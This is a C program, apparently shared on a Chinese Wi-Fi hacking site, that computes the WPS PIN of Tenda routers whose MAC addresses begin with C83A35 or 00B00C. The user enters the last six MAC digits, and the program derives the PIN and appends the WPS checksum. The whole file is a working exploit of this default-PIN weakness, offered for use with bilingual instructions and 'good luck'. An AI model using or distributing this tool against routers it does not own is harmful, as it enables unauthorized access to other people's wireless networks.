C83A35密码pin计算器

//Computes PIN code starts with OUI "C83A35" and "00B00C" //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively. //Coded by Zhaochunsheng - iBeini.com //Modified by Lingxi - WiFiBETA.COM #include <stdio.h> #include <stdlib.h> int main() { unsigned int wps_pin_checksum(unsigned int pin); int PIN = 0; // printf("ComputePIN-C83A35\n"); printf("Description:\n"); printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n"); printf("type the other six digits, you might be able to get the \n"); printf("WPS-PIN of this equipment, please have a try, good luck!\n\n"); printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n"); printf("Modified by Lingxi - WiFiBETA.COM\n\n"); //Translated to Chinese printf("说明：\n"); printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头，\n"); printf("输入后六位MAC地址（不分大小写）您或许可以获得该路由的WPS PIN密钥！\n"); printf("祝你好运！\n\n"); printf("由赵春生编写于2012年4月7日 Http://iBeini.com\n"); printf("由灵曦修改并汉化 WiFiBETA.COM\n\n"); printf("请输入后六位MAC地址（HEX）：\n"); printf("Input the last 6 digits of MAC Address(HEX):"); scanf("%x",&PIN); printf("您输入的后六位MAC地址是 %X\n",PIN); printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN); printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000)); return 0; } unsigned int wps_pin_checksum(unsigned int pin) { unsigned int accum = 0; while (pin) { accum += 3 * (pin % 10); pin /= 10; accum += pin % 10; pin /= 10; } return (10 - accum % 10) % 10; }